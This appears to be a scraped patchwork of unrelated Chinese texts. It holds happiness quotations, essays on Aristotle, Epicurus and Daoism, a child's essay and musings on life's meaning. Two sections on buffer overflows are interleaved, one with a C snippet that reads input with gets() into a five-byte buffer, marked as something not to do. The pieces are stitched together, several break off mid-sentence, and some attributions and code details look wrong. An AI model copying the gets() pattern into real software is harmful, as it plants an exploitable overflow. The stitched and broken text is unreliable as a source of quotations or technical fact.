关于快乐的名言名句大全 ★“我真的很希望,我真的很希望给他们带来快乐的生活。” ★It isn't what you have or who you are or where you are or what you are doing that makes you happy or unhappy. It is what you think about it. 让你快乐或不快乐的,不是你拥有什么、你是谁、你在哪里或你在做什么,而是你对此怎么想。——卡耐基 ★放大快乐,缩小不愉快,肆意扩大幸福指数!《经营婚姻》 ★单身时间久了,会变成习惯,懒得去恋爱。梦想搁置久了,会习以为常,懒得去追逐。时间会改变人的性情,越来越怕开始新鲜的一切。惧怕开始,本质上还是因为惧怕结束。快乐时常让人胆怯,因为它总是短暂。人最易被转瞬易逝的快乐伤了心劲。勇气,不光要能承受漫长的痛苦,更要敢接纳短暂的快乐。 ★每到一处,都有一部聚集记忆的时光机器,每一处都有痛苦的相怜与快乐的相依,仔细品味,原来思念就是回不到过去的彷徨。 ★做一个简单的人,看得清世间繁杂却不在心中留下痕迹,保持平常心,简单,快乐。 ★假如你不够快乐也不要把眉头深锁人生本来短暂为什么还要栽培苦涩——汪国真 ★我很能装:装作很快乐,装作有理想,装作无敌的样子,装作高傲的神气,装作不入俗流。撕开所有伪具却发现需要卑微的样子! ★幸好我们只是朋友,所以我可以接受你的悲伤和快乐,你说过的一

同行走,我想,是的。 ★在舞户学园里充满着我们快乐的回忆,也有很多美妙的相遇。可是,这些…在今天都要分开了。有要去远方的人,也有即将分离的人……想到这里,我就…(哭泣)请原谅…好吧,最后让我们高呼三次万岁来结束吧!——中原亚矢《恋爱情结》 ★他知道自己是个糟糕的恋人,既然无法给人快乐,不如放手给她自由,如此完美的陶狸尔,本不应该是爱情上的受害者。——坏蓝眼睛《彩虹机》 ★我相信,你是一个什么样的女人,你就会遇到什么样的男人。我总是为以后的优秀而努力,大家都不明白,我已经优秀了,为何还那么努力。因为在以后的生活中,自己会更好的享受生活,一个人可以享受内心的快乐而不是因为我可以遇到一个如此优秀的男人。 ★能给你带来痛苦的地方,终究是快乐的。《爱在苍茫大地》 ★你们······你们怎么能这样啊!我都不会这么了解自己、有这么多自己照片,你们到底哪来的神力?哎~你们去电视台做编导吧!大年初一就让我感动的一塌糊涂,谢谢你们让我感动并快乐着,新的一年我会摆脱一切阻碍跟风雨重新上路!——王亚飞 ★我累了假装被忽略的所有的不快乐可 ★快乐有尽头就让我们做偷片刻快乐的小偷不要去想什么是永久记住快乐溶于酒水在夜的漫长中举杯消愁换得几分无忧 ★逃避不一定躲的过,面对不一定最难过,孤单不一定不快乐,得到不一定能长久,失去不一定不再拥有。你可能因为某个理由而伤心难

比较亚里士多德的幸福观和伊壁鸠鲁的快乐主义

比较亚里士多德的幸福观和伊壁鸠鲁快乐主义 一、亚里士多德的幸福观和伊壁鸠鲁的快乐主义 亚里士多德的幸福观: (1)幸福是至善 亚里士多德认为,善有不同的等级,较低等级的善服从较高级的善,并以较高级的善为目的。比如,服安眠药的目的是睡觉,睡觉的目的是健康,健康的目的是快乐,快乐的目的是幸福。幸福是生命的自然目的,也是最高的善。善就是这些活动所追求的目的。如果有一种这样的目的,人们追求它不再为着获得别的任何目的,而且他们所做的一切都是为着它,就一定存在着某种最高的善,这种最高的善或目的就是人的好的生活或幸福。幸福就是人的终极的目的或最高善。 (2)幸福和德性 亚里士多德认为,幸福一定是在于现实的活动。对于一部分人来说,沉思的生活是比人的生活更优越的生活,是神性的生活。而对于多数有德性的人来说,属于他们的幸福就在于灵魂的合于伦理道德性的活动。一个过着正义、勇敢、节制的生活的人,就是幸福的。人的善就是灵魂的合德性的实现活动,如果有不止一种的德性,就是合乎那种最好、最完善的德性的实现活动。 (3)幸福的获得 亚里士多德认为,幸福是学得的而不是靠运气获得的。一个人不依靠自己的努力,就不可能获得幸福。而且,幸福不在于一时一事的合乎德性,而在于一生中的合德性的活动。幸福意味着持续的、严肃的活动而不是消遣。按照他的看法,幸福当然也需要外在的善作为补充。而在所有的外在的善当中,朋友就是最大的善。严肃的活动需要我们与朋友一道才能持续进行。幸福的获得也需要外在的条件,比如财富、荣誉等。 伊壁鸠鲁的快乐主义 (1)快乐是身体健康与灵魂平静 伊壁鸠鲁所说的快乐,并不是指奢侈放荡的快乐,而是指“身体的无痛苦和灵魂的无纷扰”,即身体健康与灵魂平静,而灵魂的快乐更深刻和持久。他认为,不是每一种快乐都值得选择,不是每一种痛苦都应该被规避。取舍何种快乐或痛苦体现了一个人在精神上的自由程度。他说:“凡是必要的,也就是容易满足;凡是难以满足的,也就是不必要的。”为此,他对欲望做出了分类,欲望包括自然的欲望和不必要的欲望。自然欲望又分不可或缺的欲望与无关紧要的欲望。只有那些不可或缺的欲望才是必须满足的,而控制那些不必要的欲望才是获得真正快乐的前提。 (2)快乐生活在于改变思维 伊壁鸠鲁认为,对死亡的恐惧常常支配着人们的行为。由于怕死,人们试图防范他人,求得安全;对安全的追求又导致人们追求权力、财富和荣誉。他认为,人不必相信各种占卜、迷信、祭祀,而应相信自己的感受,产生一种个人自足的状态。他教导人们美好的生活在于享乐,真正的幸福在于避免一切痛苦、烦恼和忧虑。伊壁鸠鲁指出,达致快乐生活不在于获得财富,而是要改变思维,学会从无限攫取型的追求中退缩,改变抱怨、不足、懊悔的心态,转向满足、感激的心态。例如友爱是因自身而被想望,可以给人带来快乐,是值得追求的。

朗诵:生命的意义,在于健康快乐的活着

朗诵:生命的意义,在于健康快乐的活着朗诵:生命的意义,在于健康快乐的活着 生命的意义,在于健康快乐的活着。我们必须学会敬畏和尊重生命,你才能拥有一个健康的未来。 生命的意义,不是你拥有多少财富,更不是拥有多高声望,而是健康的活着。当生命停止了呼吸,你所拥有的一切将不再属于你,所以健康才是一个人拥有幸福的先决条件。 我们永远不要说余生还长,也不要追求太多的欲望,而对自己的身体不负责任。身之发肤,受之父母。 不管在什么时候,都要把家和亲人放在首位,正如《礼记·大学》中所说:身修而后家齐,家齐而后国治,国治而后天下平。 修其心,顾其家,最后才是事业。尤其是为我们操劳一辈子的父母,绝不能为了自己的私欲,而不顾及他们的养育之恩和感受,更不能让白发人送黑发人。 越来越多的年轻人因为拼命工作,抛下父母,抛下家,猝死在工作岗位。 当你年轻的生命停止在你最美的年华里,你父母的余生,你孩子的未来,谁来负责? 为更好的生活拼搏是对的,但是太过,超于了自身体力时,那么不支的身体,甚至连后悔都不给你机会。 最近,一位艺人永远离开了他爱的家人和朋友,连一句告别也没有机会说。他拥有的事业和名望,最终会在时间的长河里淡忘,能够永远记住他的不会是所有粉丝,只会是他亲爱的家人们。 这个被娱乐毁掉的世界,什么最不可靠?那就是粉丝。没有多少粉丝是一尘不染,圣洁如莲的,可是他们偏偏就是不愿意看到他们偶像一点的不完美。 只要你吃五谷杂粮,就是烟火俗人,天天端着自己,强迫自己活出粉丝眼中的一尘不染,那又如何?除了给你一个名人的噱头,他们根本不会管你死活。 认真的你,流水的粉丝,当你消失在人们的视野里久了,你也就成了他们眼

防止缓冲区溢出杜绝如今最常见的程序缺陷方案

什么是缓冲区溢出? 缓冲区以前可能被定义为“包含相同数据类型的实例的一个连续计算机内存块”。在 C 和 C 中,缓冲区通常是使用数组和诸如 malloc() 和 new 这样的内存分配例程来实现的。极其常见的缓冲区种类是简单的字符数组。溢出是指数据被添加到分配给该缓冲区的内存块之外。 如果攻击者能够导致缓冲区溢出,那么它就能控制程序中的其他值。虽然存在许多利用缓冲区溢出的方法,不过最常见的方法还是“stack-smashing”攻击。Elias Levy (又名为 Aleph One)的一篇经典文章“Smashing the Stack for Fun and Profit”解释了 stack-smashing 攻击,Elias Levy 是 Bugtraq 邮件列表(请参阅参考资料以获得相关链接)的前任主持人。 为了理解 stack-smashing 攻击(或其他任何缓冲区攻击)是如何进行的,您需要了解一些关于计算机在机器语言级实际如何工作的知识。在类 UNIX 系统上,每个进程都可以划分为三个主要区域:文本、数据和堆栈。文本区域包括代码和只读数据,通常不能对它执行写入操作。数据区域同时包括静态分配的内存(比如全局和静态数据)和动态分配的内存(通常称为堆)。堆栈区域用于允许函数/方法调用;它用于记录函数完成之后的返回位置,存储函数中使用的本地变量,向函数传递参数,以及从函数返回值。每当调用一个函数,就会使用一个新的堆栈帧来支持该调用。了解这些之后,让我们来考察一个简单的程序。 清单 1. 一个简单的程序 void function1(int a, int b, int c) { char buffer1[5]; gets(buffer1); /* DON'T DO THIS */ } void main() { function(1,2,3); } 假设使用 gcc 来编译清单 1 中的简单程序,在 X86 上的 Linux 中运行,并且紧跟在对 gets()的调用之后中止。此时的内存内容看起来像什么样子呢?答案是它看起来类似图 1,其中展示了从左边的低位地址到右边的高位地址排序的内存布局。 内存的底部内存的顶部 buffer1 sfp ret a b c <--- 增长 --- [ ] [ ] [ ] [ ] [ ] [ ] ... 堆栈的顶部堆栈的底部

快乐格言大全

快乐格言大全 1、如果快乐可以用钱买到,大多数人都会因价格贵得离谱而不快乐。 2、人生是各种不同的变故、循环不已的痛苦和欢乐组成的。那种永远不变的蓝天只存在于心灵中间,向现实的人生去要求未免是奢望。 3、如果我曾经或多或少地激励了一些人的努力,我们的工作曾经或多或少地扩展了人类的理想范围,因而给这个世界增添了欢乐,那我也就感到满足了。 4、快乐无处不在,无时不在。 5、快乐,使生命得以延续。快乐,是精神和肉体的朝气,是希望和信念,是对自己的现在和来来的信心,是一切都该如此进行的信心。 6、快乐的真谛是养成好的习惯储存健康,放纵不良陋习是透支生命,借口腾不出时间去健身的人,迟早会腾出时间去看病! 7、健康的身体加上不好的记忆,会让我们活得更快乐。 8、养心会使身体得到调整,运动能使精神得到休息,养生要有豁达乐观的心态,健身需要坚韧不拔的意志! 9、如果你对目前拥有的一切觉得不满,等到你拥有更多时,也不见得会快乐。 10、劳动会给明天带来欢乐,团结会给明天带来胜利。 11、各人有各人理想的乐园,有自己所乐于安享的世界,朝自己所乐于追求的方向去追求,就是你一生的道路,不必抱怨环境,也无须艳羡别人。 12、人生极为重要的三件事:用宽容的心对待世界,对待生活;用快乐的心创造世界,改变生活;用感恩的心感受世界,感受生活! 13、悲伤可以自行料理,快乐的滋味如果要充分体会,就需要有人分享才行。 14、快乐是一种发自内心的情感,是一种清澈明确的内心感觉。 15、世界上最美的脸是笑脸,快乐的人最美丽。 16、选对事业可以成就一生,选对朋友可以智能一生,选对环境可以快乐一生,选对伴侣可以幸福一生,选对生活方式可以健康一生! 17、快乐跟文化程度并不成正比,跟财富也不成正比。 18、所有的人都以快乐幸福作为他们的目的;没有例外,不论他们所使用的方法是如何不同,大家都在朝着这同一目标前进。 19、友谊使欢乐倍增,使痛苦减半。 20、聪明人嘲笑傻瓜,傻瓜也嘲笑聪明人,双方会感到同等的快乐。 21、快乐的秘诀是:让兴趣尽可能地扩张,对人对物的反应尽可能出自善意而不是恶意的兴趣。 22、我们曾经为欢乐而斗争,我们将要为欢乐而死。因此,悲哀永远不要同我们的名字连在一起。 23、善待自己,幸福无比,善待别人,快乐无比,善待生命,健康无比! 24、所谓内心的快乐,是一个人过着健全的、正常的、和谐的生活所感到的快乐。 25、没有人能比笑得过多的人更感到深切的悲衰。 26、当脸上出现笑容的时候,我们的胃我们的肝我们的骨骼,都会感觉到我们的快乐,出现相应的笑容。 27、想得到快乐,就别让自己过得无精打采。

最新 浅谈伊壁鸠鲁与道家的人生哲学比较分析-精品

浅谈伊壁鸠鲁与道家的人生哲学比较分 析 引言:伊壁鸠鲁又与此前及此后的其他流行的快乐主义有本质的不同,在西方,人们谈到伊壁鸠鲁主义通常有不同的联想,以下是小编对伊壁鸠鲁与道家的人生比较分析,希望对你们有帮助。 一、古希腊伊壁鸠鲁学说和中国先秦道家学说 1. 古希腊伊壁鸠鲁学说 同早期以整个宇宙为研究对象的自然哲学不同,以人类自身为研究客体的人生哲学从苏格拉底开始。伊壁鸠鲁(Epikouros)作为继苏格拉底、柏拉图和亚里士多德之后的希腊化时代的哲学家,自然要站在这些巨人的肩膀上观察人与世界。尽管对善的求索和关于人生目的论的解释都深刻地显示着先哲的影响,然而,从人生之至善或者人生的最高目的是什么这一问题的回答来看,伊壁鸠鲁与他们的观点{1}迥然不同,他明确指出:我们认为快乐是幸福生活的始点和终点。我们认为它是最高的和天生的善。我们从它出发开始有各种抉择和避免,我们的目的是要获得它{2}。对快乐的至善定位也与同时代诉求德性的斯多葛主义彻底划清了界限。从渊源上来说,无论是第一哲学还是人生哲学,他主要继承了德谟克利特的思想和理论,由马克思当年的博士论文《伊壁鸠鲁的自然哲学与德谟克利特的自然哲学的差别》可知两者并不完全相同。但毕竟,根本方面还是一致的,所以周辅成的《西方伦名著选辑》一书将他们放在了同一章,称作德谟克里特-伊璧鸠鲁路线。作为柏拉图最讨厌的思想对手,德谟克利特也把快乐视作最高的善,如,他说过:快乐和不适构成了那应该做或不应该做的事的标准{3}。与德谟克利特的箴言集锦有所不同,伊壁鸠鲁的学说已经体系化;另外,伊壁鸠鲁貌似以原子论为基础来推导出他的人生哲学,实质上是为成就后者而选择了前者。因为原子论的宇宙阐释相比较于柏拉图的理念论或奥尔弗斯教义的神秘主义来说是最唯物的,即最能减轻神或来世对此生此世之人的纠缠和瓜葛,而且相对于泰勒斯等对宇宙本源或水或气的解释更加成熟和圆通。如果说德谟克利特是的、柏拉图是的、亚里士多德是生物学的话,那么伊壁鸠鲁则是伦理学的,人生哲学是他理论体系的出发点和最终归宿。 然而,伊壁鸠鲁又与此前及此后的其他流行的快乐主义有本质的不同,即使今天,在西方,人们谈到伊壁鸠鲁主义通常有两种不同的联想:其一,与美食、烹调、感官享受密切相关的快乐原则;其二,原子论{4}。从hedonism(享 乐主义)又叫Epicureanism(伊壁鸠鲁主义),以及Epicurus(伊壁鸠鲁)与epicure(美食家)的词源关系,可知以上观念的广泛流行。然而,这却是对伊壁鸠鲁学说的最大误解。昔勒尼学派在其早期创始人亚里斯提卜(苏格拉底的学生)那里可谓赤裸裸的享乐主义,认为肉体的快乐优于精神的快乐,应该追求眼前的、现实的肉体快乐。伊壁鸠鲁认为这样的快乐主义过于肤浅和盲目,因为社会生活的复杂性,事物产生快乐的同时往往也会附带着痛苦,他说:没有一种快乐自身是坏的。但是,有些可以产生快乐的事物却带来了比快乐大许多倍的

快乐中的快乐

快乐中的快乐 你知道快乐是什么吗?你专门寻找过快乐吗?你懂得快乐的意义吗?你知 道快乐的价值吗? 其实,我也不知道,但是,我去寻找过快乐,知道了快乐的意义,由此, 找到了快乐的价值…… 在某小学的教室里,老师,正在宣布同学们月考的成绩,“这次考试,同 学们考得非常好,普遍都达到了九十分这个及格线,有几个同学没有达到九十分,但是,也比以前都有了进步,现在,我把卷子发下去,同学们看一看。”……同学们拿到卷子,个个喜笑颜开,高兴极了,老师,也发出了会心 的笑。 这是一个快乐的班级。 在某小区里,有一个小孩子,在学习骑双轮自行车时,由于方向没有把握好,不小心撞到了一棵大树,小孩子摔倒了,而且,还摔得不轻,但是,他笑了,因为,他开心,他可以自己单独骑双轮自行车了,虽然摔倒了,但他又得 到了“技术”,他还是开心的。 是一个快乐的孩子。 …… 大家可能都会认为,考试考好了,就快乐了;老师表扬了,就快乐了;玩 儿的高兴了,就快乐了;学得开心了,就快乐了;轻松了,就快乐了……但是,我与大家都不同的是,我认为,寻找快乐,才是真正的快乐,虽然,会耽误玩 儿的时间,但是,我又发现了新的娱乐项目――寻找快乐,我是创办者,是最 快乐的,是可以第一个玩儿这个游戏的,多高兴呀!寻找快乐,虽然,还会付 出汗水,但是,一份耕耘,一份收获,你将找到快乐,又是一件高兴的事。 当你像我这样找到了快乐,那么,你就会发现,你也找到了快乐的价值, 快乐,你买过吗?但是,我告诉你,快乐无价,你永远也卖不起,但是,快乐 时时刻刻都在你身边,在我身边,在我们身边,你找它时,但是,他却像影子 一样跟着你,永远不分离。 快乐的意义,现在,你也该悟透了吧,快乐,其实没有意义,但是,又是 一个最完美的意义,是一个,令你、我和他度过一生的意义。 快乐中的快乐,我找到了,你呢?

生命(生活、人生)的意义

生命(生活、人生)的意义 The Meaning of Life 或许作为芸芸众生中的一员,一个无名小卒,来写些胡言乱语的文字讨论这个问题显得有些不知天高地厚的味道。不过也许在这写下自己的看法恰好是我生命意义的一部分。 生命的意义是什么?生命有意义吗?这是一个长久的追寻。 “生命”是什么意思?“意义”又是什么意思? “生命的意义是什么”这个问题会不会仅仅是个语言的陷阱?因为如果这个问题 有一个一般性的答案的话,它就预设了生命史一个一致的、统一的、连贯的东西;然而,现实中作为生命主要组成部分的日常生活却是琐碎的、零散的、充满矛盾的(这里矛盾仅指不一致)、跳跃的(不连续的,用断裂似乎有些夸张了)。但是,当我们用语言来言说生命时,往往将生命的复杂简单化为某一主题化的存在(有一个或几个主题),或者特别强调了生命的某一方面,以使我们在使用“生命(或者生活、人生)”这一语词时,保证了这一语词指代的一致连贯统一,然而此时,在场的“生命”这一语词是否有能力有资格指代现实中复杂的生命存在状态呢?如果说生有什么意义,是否也意味着它也同时是死的意义,当这些生的意义不再时。 当我们用语言来言说生命时,实际上是将我们生命中的各种活动(行动)、情感、欲望、体验、经历等理性化、条理化、理智化、合法化(以社会文化可以接受的形式和方式呈现出来)、关系化(和前人、他人的活动相联系,并在与这些活动的关系中予以评价,寻找其位置)、放入因果链条中(因为……,所以我……)的过程。正是在这理性化、关系化的过程中,生命的各种活动生成了意义。这种理性化、关系化、予以因果解释常常是在活动之后、事后进行的。(这是不是说生命活动的意义都是事后赋予的呢?如何理解人们事先的计划、预想、打算(intension)?) 如果生命的意义是既定的、先在的,那么生命活动是否就仅仅降为对这些既定、先在意义的展开?在这种生命活动的轨迹在其开始之前就已经预先确定好了的情况下,人还有“自己的”意愿和自由意志(will)吗?萨特提出“存在先于本质”,认为 从先在意义的角度来说,生命的意义就是虚无,生命的意义就是没有意义,人的本质就是没有本质。如果要说生命有什么意义的话,它的意义就在于生命的各种活动本身,人在这些活动的过程中的创造、选择;没有先在意义使得生命没有依托,因而生命活动的过程“不得不”持续创造,生命不停,创造不息,意义不止。生命的意义是开放的。也许一个东西是否存在关键是要看它是否能(会)造成一些不同(make a difference):是否占据一定得空间和时间(物质的存在),是否会对他

程序溢出的基础和原理

程序溢出的基础和原理 一:基础知识 计算机内存运行分配的区域分为3个 程序段区域:不允许写的 数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载 堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push=ESP-4,出栈的xx作是pop=ESP+4. 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a.在取参数的时候, 指令执行的图例: 指令区域 执行程序区 0 1 2 3 4 8 调用100处的函数,参数1(3位),2(10位) C 10 0 1 2 3 100 执行处理 104 108 10C 110 返回调用堆栈区域 0 1 2 3 如果EBP分配的空间不够xx作就是产生溢出的地方 200 保存以前的EBP4位(数据段的指针,用于可以使用局部动态 变量)现在的EBP等于当前的ESP-动态数据的大小值, ESP=200 204 0C 00 00 00 此处是程序的返回地址 208 参数1,填充1位 20C 参数2填充2位 210 讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化

学习快乐的名言警句

学习快乐的名言警句 1)在学习中,在劳动中,在科学中,在为人民的忘我服务中,你可以找到自己的幸福。——捷连斯基 2)读书是学习,使用也是学习,而且是更重要的学习。——毛泽东 3)人不光是靠他生来就拥有一切,而是靠他从学习中所得到的一切来造就自己。——歌德 4)正确的道路是这样:吸取你的前辈所做的一切,然后再往前走。——列夫·托尔斯泰 5)夫学须志也,才须学也。非学无以广才,非志无以成学。——诸葛亮 6)科学研究好象钻木板,有人喜欢钻薄的;而我喜欢钻厚的。——爱因斯坦 7)学习必须与实干相结合。——泰戈尔 8)凡事皆有代价,快乐的代价便是痛苦。 9)善良如茶,香浓甘冽;宽容如海,辽阔博大;坚强如山,厚重稳健;柔情如玉,温润优雅。你如此的完美,因为你是我的母亲! 11)初恋是美好的它的美好在于那最初的感动和纯真它的美好也 在于它的雅嫩和残缺一个人,无论一生经历过多少爱恋,初恋都是 无法忘记得。因为我们无法忘记当初的自己,青涩,羞怯,喜悦… 初恋是我们最美好的回忆。 12)我愿为增添你的幸福而奔跑,愿为你的快乐而操劳。你的微 笑才是我的珍宝,你的满足才是我的美好。亲爱的,愿你开心! 13)手拿菜刀砍电线,一路火花带闪电。

14)每天像无头苍蝇一般在找寻快乐的人,最后总是一无所获。 原因是快乐并非无所不在,而是要靠自己去制造。 15)学而时习之,不亦说乎?——孔子 1)鸟欲高飞先振翅,人求上进先读书。——李苦禅 2)求学的三个条件是:多观察、多吃苦、多研究。——加菲劳 4)与肝胆人共事,无字句处读书。——周恩来 5)在青春的世界里,沙粒要变成珍珠,石头要化作黄金,青春的魅力,应当叫枯枝长出鲜果,沙漠布满森林,这才是青春的美,青 春的快乐,青春的本分! 6)学习进步是我成长的快乐。进步了,说明你不是在起跑线上,你在和大家一起赛跑。我最近学习进步了,老师的表扬声,爸爸妈 妈的欢笑声,都在我的银河中形成了动听的音乐,时时伴奏着让人 心情愉快的曲子。进步,真是一件让人无比愉快的一件事情。 7)万般皆是命,半点不由人。 8)一朵花,采了许久,枯萎了也舍不得丢;一把伞,撑了很久, 雨停了也想不起收;一条路,走了很久,天黑了也走不到头;一句话,等了好久,祝生活快乐! 9)人,最感动的时刻,来自被朋友想起;最美的时刻,源于想起朋友;没有约定,却有默契,无论身处何方,愿你在每一个日子里都有 人惦记! 10)快乐其实是一种幸福的感觉,每个人的感觉有所不同,我认 为学校组织春游是一种快乐、逗小猫小狗玩也是一种快乐、得到生 日礼物时也很快乐、偶尔吃一回肯德鸡算是一种快乐,但这些快乐 都是垂手可得的。有些快乐是要通过自己的努力才能得到的,那种 快乐好象让人感觉更持久,回想起都乐滋滋的 12)一堂生动的课才是我们学生学习的根本所在,快乐学习才是 学生汲取知识的源泉。

伊壁鸠鲁

“快乐”是一种善 ———试论伊壁鸠鲁快乐主义伦理观 摘要:伊壁鸠鲁的快乐主义伦理思想是以他的感觉论和原子论为哲学基础的。伊壁鸠鲁认为,人生的幸福就是追求和获得快乐,快乐是人间最高的善。他所追求的快乐,主要是指人的精神快乐。伊壁鸠鲁强调,人们在追求快乐时应该遵循德性的指导,这样他就把快乐主义与享乐主义区别开来,赋予人的快乐以道德价值。伊壁鸠鲁的快乐主义伦理思想成为后世功利主义的滥觞。 希腊化时期的伦理思想多以个人为思考对象,形成了不同于古希腊伦理思想的个人伦理学。古希腊的伦理学强调社会性要求,认为人的德性的养成和幸福生活的获得必须通过城邦才能实现,因为“人是城邦的动物”。但是,随着马其顿王国的入侵,城邦纷纷瓦解,依附于城邦的公民成为无依无靠的个人,原有的城邦伦理丧失其道德价值,关于个人的思考反而成为一种潮流,人们认为只有依靠自己才能养成德性、得到幸福。“他们不再问:人怎样才能够创造一个好国家?而是问:在一个罪恶的世界里,人怎样才能够有德?或者,在一个受苦受难的世界里,人怎样才能够幸福?”希腊化时期的伦理思想无一例外地关注个人如何安身立命、倡导追求个人幸福、张扬个人价值。而伊壁鸠鲁快乐主义伦理学正是这一时期的个人伦理学的重要代表。 一、伊壁鸠鲁快乐主义伦理观的哲学基础 伊壁鸠鲁的快乐主义伦理思想首先是建立在他的感觉论哲学基础上的。他认为,感觉是认识的来源,人们关于一切事物的知识都是产生于感觉。人们的认识离不开感觉,因为感觉是最可靠的。“一切感觉都是真理的报道者”。离开了感觉,一切事物都会失去判断标准。当然,这里所说的感觉既是指人的身体、肉体的感觉,又是指人的心灵的感觉与体验,而快乐就是人们唯一的真实的感觉和体验。“快乐是幸福生活的开始和目的”,“我们的一切取舍都从快乐出发;我们的最终目的乃是得到快乐,而以感觉为标准来判断一切的善”。 从感觉出发来判断快乐与痛苦,成为伊壁鸠鲁快乐主义伦理思想的鲜明特征。既然“快乐是幸福生活的开始和目的”,我们的最终目的乃是得到快乐,那么人们就应大胆地去追求快乐。但是横亘在人们心灵中的两大障碍———对神的恐惧和对死的害怕———阻碍了人们对快乐的追求,要破除人们的这种恐惧心理,就必须从根本上颠覆其产生的思想基础。在继承和发展德谟克利特原子论思想的基础上,伊壁鸠鲁运用其原子论思想对人们进行了心灵的哲学治疗。伊壁鸠鲁认为,世界是由物质组成的,物质是世界的存在形式,世界上的任何事物都是由物质产生的,而不是由物质世界以外的某种力量创造的,创造宇宙万物的物质就是原子。伊壁鸠鲁强调,整个宇宙世界是由形体与虚空组成的,其中,构成形体中复合物的就是原子。他认为,世界万物都是原子相互冲击与碰撞的产物。所以原子既是创造宇宙世界的本体,又是生成世界万物的动因。当然,原子的这种自身运动,不仅生成了世界万物,也生成了人,生成了神。世界是物质的,因而生活在这个物质世界中的人以及神也是物质的。首先,伊壁鸠鲁从根本上否定了神的神圣性与绝对性。在当时人们的思维习惯中,认为神是凌驾于世界万物之上的一种绝对力量,神始终干预人们的生活,它具有神圣性。伊壁鸠鲁以原子论为思想武器,指出既然所有的存在都是物质的,都是由原子构成的,那么神既然是一种存在,它也是物质的,也是由原子构成的,而不是什么超越宇宙万物的神秘力量,它也是有形体的、有重量的,也是会作盲目运动的,因而在本质上与人没有什么区别。伊壁鸠鲁认为,神没有主宰世界的绝对权力,也没有赐予人们幸福与痛苦的权力;神从来不关心也不干预人间的事情,它只关注自己的事情。因而,人世间的一切事情都与神无关。人们对快乐和幸福追求的

人生的意义与价值

人生的意义与价值 人与人之间谈论到人生的意义时,总会大为感慨,有人说人生的意义在于追求,也有人说人生的意义在于一种成功后的完美,也有人说人生的意义在于一种平淡舒心,自身心理的满足。说的是,这就是人生的意义,每个人认知不同见解也不同。但内心的潜意识里的人生意义,我认为大致是相同的,这就是既然幸运的有了生存的机会和权利,那么就在这短暂的 人生中,让生命中的意义光彩闪亮。 每个人的人生肯定是不同的,每个人一次一次的具体选择着人生组成,而这种人生的组成是到了一定的年龄,仰望世间、仰望心中的目标、仰望心中的偶像,所制定的人生观念,而这种人生观念是随着时间、随着环境、随着心态的变化而变化着。所以人生是多变的,人生更具有酸甜苦辣的味道。人生如一个立体感很强的点的连接,如果人生中一个点出问题,人生就会在停顿中迷惑,但随着时间的延续,认知的改变,心态的调整,点就会重新连接,只是连接的方向会有所改变而已。人生就是不由自主的随着生命的时间往下走,走到老,走到死,那就是人生,人生辉煌就辉煌,人生平凡就平凡,人生不是先做个计划,就能计划出 来的,如果能计划人生,世间无凡人。 人如果对自身的生命意义不明白的话,那我认为,行为就没有了标准尺度,生活的态度也会无从确定,生活是痛苦的,生活就会彷徨歧路,感觉生命的空虚,于是一切行为茫无所措。所以人,大都会知道生命的意义是什么,每个人都在用自己的行动解释着,,用自己心中的目标,实现着自己的人生意义。但人随着外部的境况,内心认知的变化,审视着、怀疑着人生,也在不断的追求更新中,把自己的人生重新定位,在定位的同时,转身反思,遗憾 中寻找自我。 人生的不快乐,很多人认为是外部原因造成的,不否定,但我更认为自身的原因要多一些,要重一些,人可怕的不是外部环境中所造成的窘困,而是接受不了这种窘困心态的改变。如果我们别想自己的所谓感觉,所谓得失,所谓过去与将来,也别想他人的对与错,也不要在乎他人对自己的评价,那就快乐,但这种快乐,简直就是人生的大智慧,达者又有几人呢?不过人生的不如意,就是人自身追求的不满足,欲望中的不满足。可是作为一个活灵活现,有思想意识的人,怎么能没有私欲呢,而这些人生哲理也就成了人的矛盾思想所在。既要人生快乐,又要没有人生的困难,肯定是不可能的,人生也是不可能兼顾的,人生给予你一样 东西,就不会给予你另一样东西。 有人说人生完美,没有遗憾,那是最好的。我认为那只是一种追求,那只是人的渴望,现实中肯定没有这样完美的人,太完美,真不知道怎样形容,三大教派中所崇拜的佛、神、先知都有缺憾,何况人呢。所以我觉得人生中的缺憾有时也是美,因为有了这种缺憾,更突

关于快乐的名人名言100句

关于快乐的名人名言100句 以下是给大家整理的100句关于快乐的名人名言.希望可以帮到大家,下面就跟一起来看看 1、真正的快乐是内在的,它只有在人类的心灵里才能发现。布雷默 2、世界上没有比快乐更能使人美丽的化妆品。布雷顿 3、只有信念使快乐真实。蒙田 4、人生最大的快乐是致力于一个自己认为伟大的目标。萧伯纳 5、人生最大的快乐不在于占有什么,而在于追求什么的过程。本生 6、笑是一种没有副作用的镇静剂。格拉索 7、快乐没有本来就是坏的,但是有些快乐的产生者却带来了比快乐大许多倍的烦扰。伊壁鸠鲁 8、没有一回的快乐是无烦扰的。福莱 9、做好事是人生中唯一确实快乐的行动。西德尼 10、快乐,是人生中最伟大的事!高尔基 11、快乐,使生命得以延续。快乐,是精神和肉体的朝气,是希望和信念,是对自己的现在和来来的信心,是一切都该如此进行的信心。果戈理 12、快乐不在于事情,而在于我们自己。理查德瓦格纳 13、人们需要快乐,就像需要衣服一样。玛格瑞特科利尔格

